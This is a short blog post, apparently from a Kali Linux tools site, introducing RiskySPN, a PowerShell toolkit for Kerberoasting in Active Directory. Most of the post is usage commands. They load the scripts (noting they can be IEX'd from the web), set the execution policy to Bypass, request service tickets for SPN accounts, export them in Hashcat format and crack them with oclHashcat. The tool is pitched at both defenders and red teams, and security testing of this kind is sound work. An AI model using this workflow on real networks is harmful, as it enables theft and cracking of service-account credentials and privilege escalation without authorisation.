Categories: Kali Linux

RiskySPN – Collection of PowerShell Scripts Focused on Detecting and Abusing SPNs Accounts

RiskySPN is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.

Also Read Metasploit Framework – A Beginner’s Guide for Penetration Testing, Exploit Development and Vulnerability Research

RiskySPN Usage

Install the module

Import-Module .\RiskySPNs.psm1
Or just load the script (you can also IEX from the web)
. .\Find-PotentiallyCrackableAccounts.ps1

Make sure Set-ExecutionPolicy is Unrestricted or Bypass

Get information about a function

Get-Help Get-TGSCipher -Full

All functions also have the -Verbosemode

Search vulnerable SPNs

Find vulnerable accounts
Find-PotentiallyCrackableAccounts

Sensitive + RC4 = $$$

Generate full detailed report about vulnerable accounts (CISO <3)
Export-PotentiallyCrackableAccounts

Get tickets

Request Kerberos TGS for SPN
Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"
Or
Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher

The fun stuff 🙂

Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3

R K

Recent Posts

Install Tomcat 9 on Ubuntu 18.04: Systemd Service Setup Guide

Apache Tomcat is an open-source Java application server that implements the Java Servlet, JavaServer Pages, and…

57 minutes ago

Change Timezone on Ubuntu 18.04: Command Line and GUI Methods

Setting the correct timezone on your Ubuntu machine is more important than it sounds. Your…

1 hour ago

Install PrestaShop on Ubuntu 18.04 with Nginx and MySQL

PrestaShop is a free, open-source e-commerce platform built with PHP and MySQL. It comes with a…

1 hour ago

Set Up SSH Keys on Ubuntu 18.04: Passwordless Login Guide

SSH keys give you a more secure and convenient way to connect to remote servers. Instead…

1 hour ago

Install FFmpeg on Ubuntu 18.04: apt, Snap, and Usage Examples

FFmpeg is a free, open-source command-line tool for working with multimedia files. It can convert video…

1 hour ago

Set Up Nginx Server Blocks on Ubuntu 18.04: Host Multiple Sites

Nginx server blocks let you run more than one website on a single server. Each block…

24 hours ago